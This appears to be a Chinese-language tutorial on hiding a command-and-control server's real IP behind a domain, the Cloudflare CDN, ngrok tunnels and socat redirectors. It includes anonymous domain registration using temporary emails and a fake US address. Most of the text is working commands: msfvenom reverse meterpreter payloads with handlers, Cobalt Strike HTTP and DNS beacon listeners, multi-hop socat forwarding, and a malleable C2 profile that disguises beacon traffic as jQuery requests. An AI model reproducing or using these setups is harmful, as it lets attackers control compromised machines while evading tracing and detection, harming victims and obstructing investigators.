域名上线隐藏IP
为什么要隐藏IP
在使用MSF或者CS获得目标机Sessions或者Beacon时,如果直接使用自己的VPS作为MSF或CS的服务器时,容易被溯源到攻击者所在VPS主机IP。
域名上线原理
当我们访问域名时会经过域名解析,域名解析就是将域名转换到IP地址的过程,我们通过域名访问服务器,实际上是访问的目标服务器IP地址
- A记录: 将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录
- CNAME记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名
- MX记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的MX记录填写此记录
- NS记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录TXT记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录
- AAAA记录: 将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录
思考?
假设现在有一个域名 www.aaa.com 配置了A记录,那么我想让我的 MSF 上线能达到隐藏真实IP的效果吗
CDN简介
CDN 的全称是 Content Delivery Network ,即内容分发网络。其目的是通过在现有的 Internet 中增加一层新的 CACHE (缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度
使用CDN内容分发网络的多节点分布式技术,通过 “加速、代理、缓存” 隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!
假设业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程, CDN 最后会将流量转发到真实 IP 上,那么我们便能通过 CDN 达到隐藏自身的效果
域名+CDN配置
- 关于备案
无需备案:
- 注册国外域名,但是暂时不打算启用建站,那么无需备案;
- 注册国外域名,域名指向到国外网站空间或者是放置在特别行政区,如香港,也无需备案。
需要备案:
- 注册国内域名,要备案后才能使用。
- 注册国外域名,但是绑定国内的服务器空间,也需要备案才能使用
匿名注册域名
- 国外域名注册商 NameSilo
https://www.namesilo.com/
注册账号: https://www.namesilo.com/login
可以使用临时邮箱注册登录。
美国地址生成器: https://www.meiguodizhi.com/
- 搜索域名
网站首页,输入查询的域名
便宜域名后缀: .info、.top、.xyz、.fun 等等
- 购买域名
网上找的优惠码:
https://www.uphezi.com/namesilo-coupon/?wpcd_coupon=2828
.top 后缀的域名,很便宜,一年只要 1.88 美元,领取的优惠码减 0.88 美元,总价 1 美元,折合人民币 6.9 元
购买成功进入域名管理页面:
https://www.namesilo.com/account_domains.php
注册免费CDN服务
- 登录注册账号
https://www.cloudflare.com/zh-cn/
- 配置域名使用CDN添加站点
主页,添加站点,输入前面购买的域名。
选择免费计划
完成名称服务器设置
- 配置域名的 NameServer 域名解析服务
进入我的域名:https://www.namesilo.com/account_domains.php
选择 Change Nameservers
修改为 Cloudflare 上得到的 nameserver
- 返回 Cloudflare 检查名称服务器
大概需要等待 10-20 分钟左右的时间,设置成功后, Cloudflare 会发送邮件。
配置 NameServer 更换解析服务器的原因就是,将 stlab.top 域名的所有解析功能都托管在Cloudflare ,这样 Cloudflare 就可以提供 CDN 的解析功能!
配置CDN域名解析
- DNS配置
直接配置使用CDN代理模式进行域名解析提供服务
- 自动配置全部选择关闭
概述 -> 快速入门指南
- 配置 SSL/TLS 加密方式
SSL/TLS -> 完全(严格)
注意:
Cloudflare 的 CDN , http、https 代理模式有个特点,如果用其他端口的话,是监听不到的!
Cloudflare 支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare 支持的HTTPS端口是:
443,2053,2083,2087,2096,8443
到此域名+CDN全部搞定!开始测试!
Metasploit
- 云服务器安装metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
HTTP
MSF生成木马
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=www.stlab.top LPORT=2095 -f exe -o 2095.exe
MSF开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost www.stlab.top
set lport 2095
run
在 windows 主机上执行 2095.exe 程序
流量分析
Wireshark
HTTPS
生成HTTPS证书
去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key
生成源证书和私钥证书
保存源证书内容为 cloudflare.pem ,保存私钥内容为 cloudflare.key ,将创建的 pem 和 key 文件上传至云服务器。
创建一个包含源证书内容和私钥内容的统一证书文件;使用 cat 命令:
cat cloudflare.key cloudflare.pem >> /root/cloudflare-key.pem
设置监听器
设置 StagerVerifySSLCert 为 true ,表示启用 SSL 验证,同时设置 EnableStageEncoding 来对第二阶段的有效载荷进行编码(分阶段Payload)。
始终使用 HTTPS -> 打开选项
设置 SSLVersion 为 cloudflare 中指定的最低TLS版本,默认为 TLS1
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_https
set LHOST www.stlab.top
set LPORT 443
set HandlerSSLCert /root/cloudflare-key.pem
set StagerVerifySSLCert true
set EnableStageEncoding true
set SSLVersion TLS1
run
浏览器访问 https://www.stlab.top ,看到 https 锁和 It works ,表示证书配置成功
生成Payload
创建有效载荷,使用你的域名作为 LHOST
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=www.stlab.top LPORT=443 -f exe -o r443.exe
上线会话
在目标机执行生成的 Payload ,成功收到返回的会话
Cobaltstrike
Beacon HTTP
配置Listener
HTTP Host Header ,必须填写你的域名!这是CDN技术的原理要求;
Payload: Beacon HTTP
HTTP Hosts: www.stlab.top
HTTP Hosts (Stager): www.stlab.top
Profile: Default
HTTP Port (C2):2095
HTTP Port (Bind): 2095
HTTP Host Header: www.stlab.top
查看受控主机本地回连 C2 服务器的IP地址为 104.21.63.69:2095 (CDN节点IP),而不是我们自己服务器的真实IP
生成Payload
使用上一步配置的监听器,创建windows可执行 Payload ,目标主机运行 payload ,主机可以成功上线
流量分析
优点:利用CDN分布式技术,不同区域的主机就近连接到CDN服务,优化了访问质量,隐藏了真实服务器的ip;且CDN分布式技术可以在一定程度抵抗DDOS大流量攻击;使用国内CDN适合用于做红蓝对抗技术比拼等合法目的;
缺点:受控主机还是通过我们自己的域名进行回连,对外还是能看到连接域名;且如果使用国内CDN的服务(增加了风险),域名就必须完成ICP备案(增加了风险)
Beacon DNS
Cloudflare添加域名
- 到 https://dash.cloudflare.com/ 注册并登录
- 添加站点,选择域名添加:xxx.com
- 添加A记录,设置为VPS的IP地址
A ds 123.x.x.x
- 添加NS记录,设置为A记录对应的域名
NS ns1 ds.xxx.com
NS ns2 ds.xxx.com
创建DNS监听器
Name: dns
Payload: Beacon DNS
DNS Hosts:
ns1.xxx.com
ns2.xxx.com
DNS Host(Stager): ns1.xxx.com
CS生成Payload
生成 Payload 执行上线, Beacon 上线后没有信息显示,右键进入 Beacon 通过执行 chekin 命令让 DNS Beacon 强制回连 Teamserver
可以使用 mode 命令更改设置Beacon的数据交换模式
Use: mode [dns|dns6|dns-txt]
设置Beacon的数据交换模式,仅对DNS Beacon有用
dns模式
--------
使用DNS A记录请求获取任务。如果不能使用TXT记录,则使用此选项与DNS通信该模式将数据编码在DNS请求的hostname中进行传输
dns6模式
---------
使用DNS AAAA记录请求获取任务。如果不能使用TXT记录,则使用此选项与DNS通信该模式将数据编码在DNS请求的hostname中进行传输
dns-txt模式
------------
使用DNS TXT记录请求获取任务。该通道每个请求携带189个字节,而DNS A记录请求仅为4个字节,使用与其他DNS模式相同的技术发送数据
隧道转发代理
利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实IP
注册ngrok账号
https://ngrok.com/
下载相应版本客户端
配置通道
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HFslJApz-1686831705475)(22-渗透框架进阶之流量隐藏.assets/关联账号.png)]
转发端口
./ngrok tcp 10888
CS配置Listener
注意其中信息要和上面**转发端口
**保持一致
生成payload运行上线
流量走向
查看本地回接 C2 服务器的 IP 地址为 ngrok 服务的IP地址;而不是我们自己服务器的真实IP
优点:免费使用他人提供的隧道服务,可以快速的用来测试,0成本
缺点:使用了他人提供的隧道服务(增加了风险)
转发重定向
工作原理
受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到C2控制端主机具体实现:一台VPS作为转发机器,一台VPS作为 Teamserver
转发机器:47.104.255.11
Teamserver:124.71.45.28
Socat转发
socat TCP4-LISTEN:80,fork TCP4:C2ip:80
常用选项
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用4次;建议使用2次)
-lf <logfile> 记录到文件
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:C2服务器ip:C2服务器监听Port
将此机器 801 端口接受到的流量转发给 124.71.45.28:7788
创建监听器
地址填写转发机器
通过此监听生成木马上线
多层转发
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:120.27.61.239:801
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:801,fork TCP4:124.71.45.28:7788
CS流量隐藏
CS配置文件Profile
下载地址
https://github.com/threatexpress/malleable-c2
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore 的生成方法:
去 Cloudflare 的 SSL/TLS > 源服务器 创建证书,使用默认配置生成 pem 和 key 。
点击创建,生成源证书和私钥证书
保存源证书内容为 cloudflare.pem ,保存私钥内容为 cloudflare.key
将创建的 pem 和 key 文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
例子:
openssl pkcs12 -export -in cloudflare.pem -inkey cloudflare.key -out www.mingy.xyz.p12 -name www.mingy.xyz -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.mingy.xyz.store -srckeystore www.mingy.xyz.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.mingy.xyz
将生成的 keystore 文件放在云服务器CS的根目录下。
然后对 4.4 版本 Profile 进行修改。将 keystore 文件名称和密码填入 profile 文件中。
需要修改的内容主要有4处:
- https-certificate
修改模块中的 keystore 和 password ,并去掉 # 注释
set keystore "shop.baidus.top.store"
set password "123456";
- http-stager
把 Server 配置如下内容:
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";
修改 Client 配置中的 Host 和 Referer :
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";
}
- http-get
修改 Client 配置中的 Host 和 Referer:
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "shop.baidus.top";
header "Referer" "http://shop.baidus.top/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
修改 Server 配置如下内容:
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";
在修改完成后,使用 CS 自带的 c2lint 对 profile 语法进行检查,没有报错的话说明配置是对的。
c2lint c2.4.7.profile
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。
启用开发模式并清除缓存。
规则,添加页面规则,创建页面规则
选取设置:缓存级别,绕过
测试上线
使用修改好的profile启动CS
./teamserver 124.71.45.28 cs44 jquery-c2.4.4.profile
对CS的 listener 进行配置
验证数据包
上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。